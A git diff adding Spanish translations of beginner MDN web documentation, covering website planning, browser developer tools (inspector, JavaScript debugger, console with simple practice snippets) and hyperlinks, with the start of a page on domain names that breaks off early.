+<p>Echemos un vistazo a nuestro ejemplo. Tenemos cinco metas relacionadas con la música, una relacionada a la vida personal (Encontrar pareja), y las fotos del gato completamente ajenas. ¿Es razonable construir un único sitio para cubrir todos esos objetivos? ¿Es necesario? Después de todo, una gran cantidad de servicios web existentes podría llevarte a tus objetivos sin necesidad de crear uno nuevo.</p>
+
+<p>Encontrar pareja es un caso prioritario en el que tiene más sentido utilizar los recursos existentes en lugar de construir todo un nuevo sitio. ¿Por qué? Porque invertiríamos más tiempo construyendo y manteniendo el sitio web en lugar de realmente buscar una pareja. Dado que nuestro objetivo es lo que más importa, debemos gastar nuestra energía en aprovechar las herramientas ya existentes en lugar de empezar desde cero. Una vez más, hay tantos servicios web ya disponibles para mostrar fotos que no vale la pena el esfuerzo para construir un nuevo sitio sólo para anunciar acerca de lo lindo que son nuestros gatos.</p>
+
+<p>Los otros cinco objetivos están todos conectados con la música. Hay, por supuesto, muchos servicios web que podrían manejar estas metas, pero tiene sentido, en este caso, construir un sitio web propio. Tal sitio web es la manera de agregar todo lo que queremos publicar en un solo lugar (bueno para las metas 3, 5 y 6). En resumen, ya que estos objetivos giran en torno al mismo tema, tener todo en un solo lugar nos ayudará a alcanzar nuestras metas y facilitará a nuestros seguidores el conectarse con nosotros.</p>
+
+<p>¿Cómo puede un sitio web ayudarme a alcanzar mis metas? Al responder a eso, encontrarás la mejor manera de alcanzar dichas metas y te ahorrarás desperdiciar esfuerzo.</p>
+
+<h3 id="¿Qué_hay_que_hacer_y_en_qué_orden_para_alcanzar_mis_metas">¿Qué hay que hacer, y en qué orden, para alcanzar mis metas?</h3>
+
+<p>Ahora que sabes qué es lo que quieres lograr, es momento de volver los objetivos en pasos prácticos. Como una nota lateral, tus metas no están necesariamente petrificadas, ellas evolucionan con el tiempo incluso en el transcurso del proyecto, si te encuentras con obstáculos inesperados o simplemente cambias de opinión.</p>
+
+<p>En lugar de una extensa explicación, volvamos a nuestro ejemplo con esta tabla.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Metas</th>
+   <th scope="col">Cosas por hacer</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">Permitir que las gente escuche tu música</td>
+   <td>
+    <ol>
+     <li>Grabar música</li>
+     <li>Prepara algunos archivos de audio utilizables online (¿Podrías hacer esto con servicios web existentes?)</li>
+     <li>Dale a las personas acceso a tu música en alguna parte de tu sitio web</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Hablar acerca de tu música</td>
+   <td>
+    <ol>
+     <li>Escribe algunos artículos para iniciar la discusión</li>
+     <li>Define cómo deben lucir los artículos</li>
+     <li>Publica los artículos en el sitio web (¿Cómo hacer esto?)</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Conocer otros músicos</td>
+   <td>
+    <ol>
+     <li>Provee modos para que las personas te contacten (¿Email? ¿Facebook? ¿Teléfono? ¿Correo?)</li>
+     <li>Define cómo las personas encontrarán esos canales de contacto desde tu sitio web</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Venta de golosinas</td>
+   <td>
+    <ol>
+     <li>Crea las golosinas</li>
+     <li>Almacena las golosinas</li>
+     <li>Encuentra un modo de manejar el envío</li>
+     <li>Encuentra una manera de manejar el pago</li>
+     <li>Hacer un mecanismo en tu sitio para que la gente haga pedidos</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Enseñar música mediante vídeos</td>
+   <td>
+    <ol>
+     <li>Grabar vídeos de lecciones</li>
+     <li>Preparara archivos de vídeos visibles online (Una vez más, ¿Podría hacer esto con los servicios de web ya existentes?)</li>
+     <li>Dar a la gente acceso a tus vídeos en alguna parte de tu sitio</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Dos cosas para resaltar. En primer lugar, algunos de estos items no están relacionados con la web (ej.: Grabar, escribir artículos). A menudo estas actividades fuera de línea importan incluso mucho más que el proyecto del sitio web. En ventas, por ejemplo, es mucho más importante y requiere mucho tiempo manejar la oferta, el pago y el envío que construir un sitio web donde las personas puedan realizar pedidos.</p>
+
+<p>En segundo lugar, establecer pasos procesables conduce a nuevas preguntas que necesitarás contestar. Por lo general, resultan ser más preguntas de lo que pensábamos al principio. (Ej. : ¿debo aprender a hacer todo yo mismo, pedirle a alguien que lo haga por mí, o utilizar servicios de terceros?).</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Como puedes ver, la idea simple “Quiero hacer un sitio web” genera una larga lista de quehaceres, la cual sólo crece conforme piensas en ella. Pronto puede parecer abrumador, pero no entres en pánico. No es necesario responder todas las preguntas y no necesitas hacer todo lo de tu lista. Lo que importa es tener una visión de lo que deseas y cómo alcanzarlo. Una vez que tengas una visión clara, necesitarás decidir cómo y cuándo hacerlo. Divida grandes tareas en pequeños pasos procesables, y esos pequeños pasos sumarán a grandes logros.</p>
+
+<p> </p>
diff --git a/files/es/learn/common_questions/what_are_browser_developer_tools/index.html b/files/es/learn/common_questions/what_are_browser_developer_tools/index.html
new file mode 100644
index 0000000000..c08f596c74
--- /dev/null
+++ b/files/es/learn/common_questions/what_are_browser_developer_tools/index.html
@@ -0,0 +1,248 @@
+---
+title: ¿Cuáles son las herramientas de desarrollo del navegador?
+slug: Learn/Common_questions/What_are_browser_developer_tools
+tags:
+  - CSS
+  - CodingScripting
+  - HTML
+  - Herramientas para el desarrollador
+  - JavaScript
+  - Navegador
+  - Novato
+  - Principiante
+  - aprende
+translation_of: Learn/Common_questions/What_are_browser_developer_tools
+---
+<div>{{IncludeSubnav("/es/Learn")}}</div>
+
+<div class="summary">
+<p>Todos los navegadores web modernos incluyen un potente conjunto de herramientas para desarrolladores. Estas herramientas hacen una variedad de cosas, desde inspeccionar HTML, CSS y JavaScript actualmente cargados, hasta mostrar qué activos ha solicitado la página y cuánto tiempo tardaron en cargarse. Este artículo explica cómo utilizar las funciones básicas de las herramientas de desarrollo de tu navegador.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Antes de ejecutar los siguientes ejemplos, abre el <a href="http://mdn.github.io/beginner-html-site-scripted/">sitio de ejemplo para principiantes</a> que creamos durante la serie de artículos <a href="/es/Learn/Getting_started_with_the_web">Introducción a la Web</a>. Lo deberías tener abierto mientras sigues los pasos que explicamos a continuación.</p>
+</div>
+
+<h2 id="Cómo_abrir_devtools_en_tu_navegador">Cómo abrir devtools en tu navegador</h2>
+
+<p>Las herramientas para desarrolladores (<code>devtools</code>) viven dentro de tu navegador en una subventana que se ve más o menos así, dependiendo del navegador que estés utilizando:</p>
+
+<p><img alt="Devtools" src="https://mdn.mozillademos.org/files/16205/DevTools_63_inspector.png" style="border: 1px solid black; display: block; height: 1364px; margin: 0px auto; width: 672px;"></p>
+
+<p>¿Cómo la levantas? Existen tres distintas maneras:</p>
+
+<ul>
+ <li><em><strong>Teclado:</strong></em> <em><kbd>Ctrl</kbd>+<kbd>Mayús</kbd>+<kbd>I</kbd></em>, excepto en
+
+  <ul>
+   <li><strong>Internet Explorer y Edge: </strong><kbd>F12</kbd></li>
+   <li><strong>macOS: </strong><em><span class="Unicode"><kbd>⌘</kbd>+<kbd>⌥</kbd>+<kbd>I</kbd></span></em></li>
+  </ul>
+ </li>
+ <li><span class="Unicode"><em><strong>Barra de menú:</strong></em></span>
+  <ul>
+   <li><strong>Firefox</strong>: Menú <img alt="Devtools" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"><span class="Unicode"><em><span class="Unicode">➤ Desarrollador web</span></em> <em><span class="Unicode">➤ Alternar herramientas,</span> </em><span class="Unicode"> o </span> <em>➤ Herramientas</em></span> <em>➤ Alternar herramientas del desarrollador web</em></li>
+   <li><strong>Chrome:</strong> <em><span class="Unicode">Más herramientas</span> ➤ Herramientas del desarrollador</em></li>
+   <li><strong>Safari:</strong> <em><span class="Unicode">Desarrollador ➤</span> Mostrar el inspector web.</em> Si no puedes ver el menú <em>Desarrollar</em>, ve a <em>Safari<span class="Unicode"> ➤</span> Preferencias ➤ Avanzado</em> y marca la casilla de verificación <em>Mostrar menú desarrollador en la barra de menú</em>.</li>
+   <li><strong>Opera</strong>: <em><span class="Unicode">Desarrollador ➤ </span> Herramientas para desarrolladores</em></li>
+  </ul>
+ </li>
+ <li><strong><em>Menú contextual:</em></strong> Presiona y mantén presionado / haz clic con el botón derecho en un elemento en una página web (Ctrl-clic en Mac) y elige <em>Inspeccionar elemento</em> en el menú contextual que aparece. (<em>Una ventaja adicional:</em> este método, inmediatamente resalta el código del elemento en el que hiciste clic con el botón derecho).</li>
+</ul>
+
+<p><img alt="Inspector" src="https://mdn.mozillademos.org/files/16206/inspector_context.png" style="display: block; height: 232px; margin: 0px auto; width: 350px;"></p>
+
+<h2 id="El_inspector_explorador_del_DOM_y_editor_CSS">El inspector: explorador del DOM y editor CSS</h2>
+
+<p>Las herramientas del desarrollador, generalmente se abren de forma predeterminada en el inspector, parecido a la siguiente captura de pantalla. Esta herramienta muestra cómo se ve el HTML en tu página en tiempo de ejecución, así como qué CSS se aplica a cada elemento de la página. También te permite modificar instantáneamente el HTML y CSS y ver los resultados de tus cambios reflejados en vivo en la ventana del navegador.</p>
+
+<p><img alt="Inspector resaltado" src="https://mdn.mozillademos.org/files/16208/inspector_highlighted.png" style="border-style: solid; border-width: 1px; display: block; height: 509px; margin: 0px auto; width: 672px;"></p>
+
+<p>Si <em>no</em> ves al inspector,</p>
+
+<ul>
+ <li>Toca o haz clic en la pestaña <em>Inspector</em>.</li>
+ <li>En Internet Explorer, toca/haz clic en <em>Explorador del DOM</em> o presiona <kbd>Ctrl</kbd>+<kbd>1</kbd>.</li>
+ <li>En Microsoft Edge u Opera, toca/haz clic en Elementos.</li>
+ <li>En Safari, los controles no se presentan con tanta claridad, pero deberías ver el HTML si no has seleccionado otra cosa para que aparezca en la ventana. Presiona el botón <em>Estilo</em> para ver el CSS.</li>
+</ul>
+
+<h3 id="Explorando_el_DOM_con_el_inspector">Explorando el DOM con el inspector</h3>
+
+<p>Para empezar, haz clic con el botón derecho (Ctrl+clic) en un elemento HTML en el inspector del DOM y observa el menú contextual. Las opciones disponibles en el menú varían según el navegador, pero en su mayoría, las más importantes son las mismas:</p>
+
+<p><img alt="Inspector del DOM" src="https://mdn.mozillademos.org/files/16209/dom_inspector.png" style="border: 1px solid black; display: block; height: 320px; margin: 0px auto; width: 350px;"></p>
+
+<ul>
+ <li><strong>Eliminar nodo</strong> (A veces <em>Eliminar elemento</em>). Elimina el elemento actual.</li>
+ <li><strong>Editar como HTML</strong> (A veces <em>Agregar atributo</em>/<em>Editar texto</em>). Te permite cambiar el HTML y ver los resultados en tiempo real. Muy útil para depurar y probar.</li>
+ <li><strong>:hover/:active/:focus</strong>. Obliga a que se activen los estados de los elementos, para que puedas ver cómo se vería su estilo.</li>
+ <li><strong>Copiar/Copiar como HTML</strong>. Copie el HTML seleccionado actualmente.</li>
+ <li>Algunos navegadores también disponen de <em>Copiar ruta CSS</em> y <em>Copiar XPath</em>, para permitirte copiar el selector CSS o la expresión XPath que seleccionaría el elemento HTML actual.</li>
+</ul>
+
+<p>Intenta editar algo de tu DOM ahora. Haz doble clic en un elemento o haz clic con el botón derecho del mouse y selecciona <em>Editar como HTML</em> en el menú contextual. Puedes realizar los cambios que desees, pero no los puedes guardar.</p>
+
+<h3 id="Explorar_el_editor_CSS">Explorar el editor CSS</h3>
+
+<p>De manera predeterminada, el editor CSS muestra las reglas CSS aplicadas al elemento seleccionado actualmente:</p>
+
+<p><img alt="Inspector CSS" src="https://mdn.mozillademos.org/files/16211/CSS_Inspector.png" style="display: block; height: 281px; margin: 0px auto; width: 500px;"></p>
+
+<p>Estas características son especialmente útiles:</p>
+
+<ul>
+ <li>Las reglas aplicadas al elemento actual se muestran en orden de mayor a menor especificidad.</li>
+ <li>Haz clic en las casillas de verificación junto a cada declaración para ver qué pasaría si eliminaras la declaración.</li>
+ <li>Haz clic en la pequeña flecha al lado de la abreviatura de cada propiedad para mostrar los nombres completos equivalentes de la propiedad.</li>
+ <li>Haz clic en el nombre o valor de una propiedad para que aparezca un cuadro de texto, donde puedes ingresar un nuevo valor para obtener una vista previa en vivo de un cambio de estilo.</li>
+ <li>Junto a cada regla está el nombre del archivo y el número de línea en el que se define la regla. Al hacer clic en esa regla, las herramientas de desarrollo saltan para mostrarlas en su propia vista, donde generalmente puedes editar y guardar.</li>
+ <li>También puedes hacer clic en la llave de cierre de cualquier regla para que aparezca un cuadro de texto en una nueva línea, donde puedes escribir una declaración completamente nueva para tu página.</li>
+</ul>
+
+<p>Notarás una serie de pestañas en las que se puede hacer clic en la parte superior del Visor CSS:</p>
+
+<ul>
+ <li><em>Calculado</em>: Muestra los estilos calculados para el elemento seleccionado actualmente (los valores finales normalizados que aplica el navegador).</li>
+ <li><em>Diseño</em>: En Firefox, esta área incluye dos secciones:
+  <ul>
+   <li><em>Modelo de caja</em>: representa visualmente el modelo de caja del elemento actual, por lo que de un vistazo puedes identificar qué relleno, borde y margen se le aplica, y qué tan grande es su contenido.</li>
+   <li><em>Cuadrícula</em>: Si la página que estás inspeccionando utiliza Grid CSS, esta sección te permite ver los detalles de la cuadrícula.</li>
+  </ul>
+ </li>
+ <li><em>Fuentes</em>: En Firefox, la pestaña <em>Fuentes</em> muestra los tipos de letra aplicados al elemento actual.</li>
+</ul>
+
+<h3 id="Conocer_más">Conocer más</h3>
+
+<p>Obtén más información sobre el Inspector en diferentes navegadores:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector">Inspector de páginas de Firefox.</a></li>
+ <li><a href="https://docs.microsoft.com/es-es/microsoft-edge/">Explorador del DOM de Edge.</a></li>
+ <li><a href="https://developers.google.com/web/tools/chrome-devtools/inspect-styles?utm_source=dcc&amp;utm_medium=redirect&amp;utm_campaign=2016q3">inspector del DOM de Chrome.</a> (el inspector de Opera funciona igual que este)</li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/ResourcesandtheDOM/ResourcesandtheDOM.html#//apple_ref/doc/uid/TP40007874-CH3-SW1">Safari inspector y explorador de estilos.</a></li>
+</ul>
+
+<h2 id="El_depurador_de_JavaScript">El depurador de JavaScript</h2>
+
+<p>El depurador de JavaScript te permite observar el valor de las variables y establecer puntos de interrupción, lugares en tu código en los que deseas pausar la ejecución e identificar los problemas que impiden que tu código se ejecute correctamente.</p>
+
+<p><img alt="Depurador de Firefox" src="https://mdn.mozillademos.org/files/16239/firefox_debugger.png" style="border: 1px solid black; display: block; height: 556px; margin: 0 auto; width: 672px;"></p>
+
+<p>Para llegar al depurador:</p>
+
+<p><strong>Firefox</strong>: Selecciona <img alt="" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> ➤ <em>Desarrollador Web</em> ➤ <em>Depurador</em> o presiona <kbd>Ctrl</kbd>+<kbd>Mayús</kbd>+<kbd>S</kbd> para abrir el depurador de JavaScript. Si ya estás viendo las herramientas, haz clic en la pestaña <strong>Depurador</strong>.</p>
+
+<p><strong>Chrome</strong>: Abre las herramientas para desarrolladores y luego selecciona la pestaña <strong>Fuentes</strong>. (Opera funciona de la misma manera).</p>
+
+<p><strong>Edge e Internet Explorer 11</strong>: presiona <kbd>F12</kbd> y luego <kbd>Ctrl</kbd>+<kbd>3</kbd>, o si ya estás viendo las herramientas, haz clic en la pestaña Depurador.</p>
+
+<p><strong>Safari</strong>: Abre las herramientas para desarrolladores y luego selecciona la pestaña Depurador.</p>
+
+<h3 id="Explorando_el_depurador">Explorando el depurador</h3>
+
+<p>En Firefox hay tres paneles en el depurador de JavaScript.</p>
+
+<h4 id="Lista_de_archivos">Lista de archivos</h4>
+
+<p>El primer panel de la izquierda contiene la lista de archivos asociados con la página que estás depurando. Selecciona el archivo con el que deseas trabajar de esta lista. Haz clic en un archivo para seleccionarlo y ver su contenido en el panel central del depurador.</p>
+
+<p><img alt="Lista de archivos" src="https://mdn.mozillademos.org/files/16240/File_List.png" style="border: 1px solid black; display: block; height: 326px; margin: 0 auto; width: 350px;"></p>
+
+<h4 id="Código_fuente">Código fuente</h4>
+
+<p>Establece puntos de interrupción donde desees pausar la ejecución. En la siguiente imagen, el resaltado del número 18 muestra que la línea tiene un punto de interrupción establecido.</p>
+
+<p><img alt="Código fuente" src="https://mdn.mozillademos.org/files/16241/Source_code.png" style="border: 1px solid black; display: block; height: 251px; margin: 0 auto; width: 400px;"></p>
+
+<h4 id="Ver_expresiones_y_puntos_de_interrupción">Ver expresiones y puntos de interrupción</h4>
+
+<p>El panel de la derecha muestra una lista de las expresiones en observación que has agregado y los puntos de interrupción que has establecido.</p>
+
+<p>En la imagen, la primera sección, <strong>Ver expresiones</strong>, muestra que se ha agregado la variable <code>listItems</code>. Puedes expandir la lista para ver los valores del arreglo.</p>
+
+<p>La siguiente sección, <strong>Puntos de interrupción</strong>, enumera los puntos de interrupción establecidos en la página. En <code>example.js</code>, se ha establecido un punto de interrupción en la instrucción <code>listItems.push(inputNewItem.value);</code></p>
+
+<p>Las dos últimas secciones solo aparecen cuando el código se está ejecutando.</p>
+
+<p>La sección <strong>Pila de llamadas</strong> muestra qué código se ejecutó para llegar a la línea actual. Puedes ver que el código está en la función que maneja un clic del mouse y que el código está actualmente en pausa en el punto de interrupción.</p>
+
+<p>La sección final, <strong>Alcances</strong>, muestra qué valores son visibles desde varios puntos dentro de tu código. Por ejemplo, en la siguiente imagen, puedes ver los objetos disponibles para el código en la función <code>addItemClick</code>.</p>
+
+<p><img alt="ver elementos" src="https://mdn.mozillademos.org/files/16242/watch_items.png" style="border: 1px solid black; display: block; height: 743px; width: 350px;"></p>
+
+<h3 id="Conocer_más_2">Conocer más</h3>
+
+<p>Obtén más información sobre el depurador de JavaScript en diferentes navegadores:</p>
+
+<ul>
+ <li><a href="/es/docs/Tools/Debugger">Depurador de JavaScript en Firefox.</a></li>
+ <li><a href="https://docs.microsoft.com/es-es/microsoft-edge/devtools-guide/debugger">Depurador de Microsoft Edge.</a></li>
+ <li><a href="https://developers.google.com/web/tools/chrome-devtools/javascript/">Depurador de Chrome.</a></li>
+ <li><a href="https://developer.apple.com/safari/tools/">Depurador de Safari.</a></li>
+</ul>
+
+<h2 id="La_consola_de_JavaScript">La consola de JavaScript</h2>
+
+<p>La consola de JavaScript es una herramienta increíblemente útil para depurar JavaScript que no funciona como se esperaba. Te permite ejecutar líneas de JavaScript en la página actualmente cargada en el navegador e informa los errores encontrados cuando el navegador intenta ejecutar tu código. Para acceder a la consola en cualquier navegador:</p>
+
+<p>Si las herramientas para desarrolladores ya están abiertas, haz clic o presiona la pestaña Consola.</p>
+
+<p>De lo contrario, Firefox te permite abrir la consola directamente usando <kbd>Ctrl</kbd>+<kbd>Mayús</kbd>+<kbd>K</kbd> o usando el comando del menú: Menú <img alt="" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> <span class="Unicode"> <em><span class="Unicode"> ➤ Desarrollador web</span></em> <em><span class="Unicode"> ➤ Consola web,</span></em> <span class="Unicode"> o</span> <em>Herramientas ➤</em></span> <em>Desarrollador web ➤ Consola web. </em>En otro navegador, abre las herramientas para desarrolladores y luego haz clic en la pestaña Consola.</p>
+
+<p>Esto te dará una ventana como la siguiente:</p>
+
+<p><img alt="Sólo consola" src="https://mdn.mozillademos.org/files/16212/console_only.png" style="border: 1px solid black; display: block; height: 187px; margin: 0px auto; width: 672px;"></p>
+
+<p>Para ver qué sucede, intenta ingresar los siguientes fragmentos de código en la consola uno por uno (y luego presiona Intro):</p>
+
+<ol>
+ <li>
+  <pre class="brush: js notranslate">alert('hello!');</pre>
+ </li>
+ <li>
+  <pre class="brush: js notranslate">document.querySelector('html').style.backgroundColor = 'purple';</pre>
+ </li>
+ <li>
+  <pre class="brush: js notranslate">const myWordmark = document.createElement('img');
+myWordmark.setAttribute('src','https://blog.mozilla.org/press/wp-content/themes/OneMozilla/img/mozilla-wordmark.png');
+document.querySelector('h1').appendChild(myWordmark);</pre>
+ </li>
+</ol>
+
+<p>Ahora intenta ingresar las siguientes versiones incorrectas del código y ve lo que obtienes.</p>
+
+<ol>
+ <li>
+  <pre class="brush: js notranslate">alert('hello!);</pre>
+ </li>
+ <li>
+  <pre class="brush: js notranslate">document.cheeseSelector('html').style.backgroundColor = 'purple';</pre>
+ </li>
+ <li>
+  <pre class="brush: js notranslate">const myWordmark = document.createElement('img');
+myBanana.setAttribute('src','https://blog.mozilla.org/press/wp-content/themes/OneMozilla/img/mozilla-wordmark.png');
+document.querySelector('h1').appendChild(myWordmark);</pre>
+ </li>
+</ol>
+
+<p>Comenzarás a ver el tipo de errores que devuelve el navegador. A menudo, estos errores son bastante crípticos, ¡pero debería ser bastante sencillo resolver estos problemas!</p>
+
+<h3 id="Conocer_más_3">Conocer más</h3>
+
+<p>Obtén más información sobre la consola de JavaScript en diferentes navegadores:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console">Consola Web de Firefox.</a></li>
+ <li><a href="https://docs.microsoft.com/es-es/microsoft-edge/devtools-guide-chromium">Consola de JavaScript Edge.</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console">Consola JavaScript de Chrome.</a> (el inspector de Opera funciona de la misma manera)</li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html#//apple_ref/doc/uid/TP40007874-CH6-SW1">Consola en Safari.</a></li>
+</ul>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Depurar HTML.</a></li>
+ <li><a href="/es/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Depurar CSS.</a></li>
+</ul>
diff --git a/files/es/learn/common_questions/what_are_hyperlinks/index.html b/files/es/learn/common_questions/what_are_hyperlinks/index.html
new file mode 100644
index 0000000000..dd1d28573d
--- /dev/null
+++ b/files/es/learn/common_questions/what_are_hyperlinks/index.html
@@ -0,0 +1,91 @@
+---
+title: Qué son los hipervínculos?
+slug: Learn/Common_questions/What_are_hyperlinks
+translation_of: Learn/Common_questions/What_are_hyperlinks
+---
+<div class="summary">
+<p>En este artículo, repasaremos qué son los hipervínculos y por qué son importantes.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Debes saber <a href="/en-US/Learn/How_the_Internet_works">how the Internet works</a> Y estar familiarizado con<a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine"> the difference between a webpage, a website, a web server, and a search engine</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Conozca los enlaces en la web y por qué son importantes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Los hipervínculos, generalmente llamados enlaces, son un concepto fundamental detrás de la Web. Para explicar qué son los enlaces, debemos retroceder a los conceptos básicos de la arquitectura web.</p>
+
+<p>En 1989, Tim Berners-Lee, el inventor de la Web, habló de los tres pilares en los que se basa la Web:</p>
+
+<ol>
+ <li>{{Glossary("URL")}}, un sistema de direcciones que realiza un seguimiento de los documentos web</li>
+ <li>{{Glossary("HTTP")}}, un protocolo de transferencia para encontrar documentos cuando se les da su URL</li>
+ <li>{{Glossary("HTML")}}, un formato de documento que permite hipervínculos incrustados</li>
+</ol>
+
+<p>Como puede ver en los tres pilares, todo en la Web gira en torno a los documentos y cómo acceder a ellos. El propósito original de la Web era proporcionar una manera fácil de alcanzar, leer y navegar a través de documentos de texto. Desde entonces, la Web ha evolucionado para proporcionar acceso a imágenes, videos y datos binarios, pero estas mejoras apenas han cambiado los tres pilares.</p>
+
+<p>Antes de la Web, era bastante difícil acceder a los documentos y pasar de uno a otro. Al ser legibles por humanos, las URL ya facilitaron las cosas, pero es difícil escribir una URL larga cada vez que desee acceder a un documento. Aquí es donde los hipervínculos revolucionaron todo. Los enlaces pueden correlacionar cualquier cadena de texto con una URL, de modo que el usuario pueda alcanzar instantáneamente el documento de destino activando el enlace.</p>
+
+<p>Los enlaces se destacan del texto circundante al estar subrayados y en texto azul. Toque o haga clic en un enlace para activarlo, o si usa un teclado, presione Tab hasta que el enlace esté enfocado y presione Entrar o la barra espaciadora.</p>
+
+<p><img alt="Example of a basic display and effect of a link in a web page" src="https://mdn.mozillademos.org/files/8625/link-1.png" style="height: 492px; width: 477px;"></p>
+
+<p>Los enlaces son el avance que hizo que la Web fuera tan útil y exitosa. En el resto de este artículo, discutimos los diversos tipos de enlaces y su importancia para el diseño web moderno.</p>
+
+<h2 id="Profundizando">Profundizando</h2>
+
+<p>Como dijimos, un enlace es una cadena de texto vinculada a una URL, y usamos enlaces para permitir saltar fácilmente de un documento a otro. Dicho esto, hay algunos matices que vale la pena considerar:</p>
+
+<h3 id="Tipos_de_enlaces">Tipos de enlaces</h3>
+
+<dl>
+ <dt>Enlace interno</dt>
+ <dd>Un enlace entre dos páginas web, donde ambas páginas pertenecen al mismo sitio web, se denomina enlace interno. Sin enlaces internos, no existe un sitio web (a menos, por supuesto, que sea un sitio web de una página).</dd>
+ <dt>Enlace externo</dt>
+ <dd>Un enlace desde su página web a la página web de otra persona. Sin enlaces externos, no hay Web, ya que la Web es una red de páginas web. Utilice enlaces externos para proporcionar información además del contenido disponible a través de su página web.</dd>
+ <dt>Enlaces entrantes</dt>
+ <dd>Un enlace desde la página web de otra persona a su sitio. Es lo contrario de un enlace externo. Tenga en cuenta que no tiene que volver a vincular cuando alguien vincula a su sitio.</dd>
+</dl>
+
+<p>Cuando esté creando un sitio web, concéntrese en los enlaces internos, ya que estos hacen que su sitio sea utilizable. Encuentre un buen equilibrio entre tener demasiados enlaces y muy pocos. Hablaremos sobre el diseño de la navegación del sitio web en otro artículo, pero como regla general, cada vez que agregue una nueva página web, asegúrese de que al menos una de sus otras páginas enlaza con esa nueva página. Por otro lado, si su sitio tiene más de aproximadamente diez páginas, es contraproducente vincular a cada página desde cualquier otra página.</p>
+
+<p>Cuando comienzas, no tienes que preocuparte tanto por los enlaces externos y entrantes, pero son muy importantes si quieres que los motores de búsqueda encuentren tu sitio (ver más abajo para más detalles).</p>
+
+<h3 id="Anclas">Anclas</h3>
+
+<p>La mayoría de los enlaces vinculan dos páginas web. Las anclas unen dos secciones de un documento. Cuando sigue un enlace que apunta a un ancla, su navegador salta a otra parte del documento actual en lugar de cargar un nuevo documento. Sin embargo, crea y utiliza anclajes de la misma manera que otros enlaces.</p>
+
+<p><img alt="Example of a basic display and effect of an anchor in a web page" src="https://mdn.mozillademos.org/files/8627/link-2.png" style="height: 492px; width: 477px;"></p>
+
+<h3 id="Enlaces_y_motores_de_búsqueda">Enlaces y motores de búsqueda</h3>
+
+<p>Los enlaces son importantes tanto para los usuarios como para los motores de búsqueda. Cada vez que los motores de búsqueda rastrean una página web, indexan el sitio web siguiendo los enlaces disponibles en la página web. Los motores de búsqueda no solo siguen enlaces para descubrir las distintas páginas del sitio web, sino que también usan el texto visible del enlace para determinar qué consultas de búsqueda son apropiadas para llegar a la página web de destino.</p>
+
+<p>Los enlaces influyen en la facilidad con que un motor de búsqueda se vinculará a su sitio. El problema es que es difícil medir las actividades de los motores de búsqueda. Las empresas, naturalmente, quieren que sus sitios tengan un alto ranking en los resultados de búsqueda. Sabemos lo siguiente acerca de cómo los motores de búsqueda determinan el rango de un sitio:</p>
+
+<ul>
+ <li>El texto visible de un enlace influye en qué consultas de búsqueda encontrarán una URL determinada.</li>
+ <li>Cuantos más enlaces entrantes pueda presumir una página web, más alto se ubica en los resultados de búsqueda.</li>
+ <li><em>Los enlaces externos influyen en el ranking de búsqueda de las páginas web de origen y destino, pero no está claro cuánto.</em></li>
+</ul>
+
+<p><a href="http://en.wikipedia.org/wiki/Search_engine_optimization">SEO</a> (optimización de motores de búsqueda) es el estudio de cómo hacer que los sitios web tengan un alto ranking en los resultados de búsqueda. Mejorar el uso de enlaces de un sitio web es una técnica útil de SEO.</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Ahora querrás configurar algunas páginas web con enlaces.</p>
+
+<ul>
+ <li>Para obtener más antecedentes teóricos, aprenda sobre <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URLs y su estructura</a>, dado que todo enlace apunta a una URL.</li>
+ <li>¿Quieres algo un poco más práctico? El artículo <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a> de nuestro módulo <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introducción a HTML</a> explica cómo implementar enlaces en detalle.</li>
+</ul>
diff --git a/files/es/learn/common_questions/what_is_a_domain_name/index.html b/files/es/learn/common_questions/what_is_a_domain_name/index.html
new file mode 100644
index 0000000000..bc38251b25
--- /dev/null
+++ b/files/es/learn/common_questions/what_is_a_domain_name/index.html
@@ -0,0 +1,157 @@
+---
+title: ¿Qué es un nombre de dominio?
+slug: Learn/Common_questions/What_is_a_domain_name
+tags:
+  - Infraestructura
+  - Nombres de dominio
+  - Principiante
+  - Web
+translation_of: Learn/Common_questions/What_is_a_domain_name
+---
+<div class="summary">
+<p>En este artículo discutiremos acerca de los nombres de los dominios: qué son, cómo se estructuran y cómo conseguir uno.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
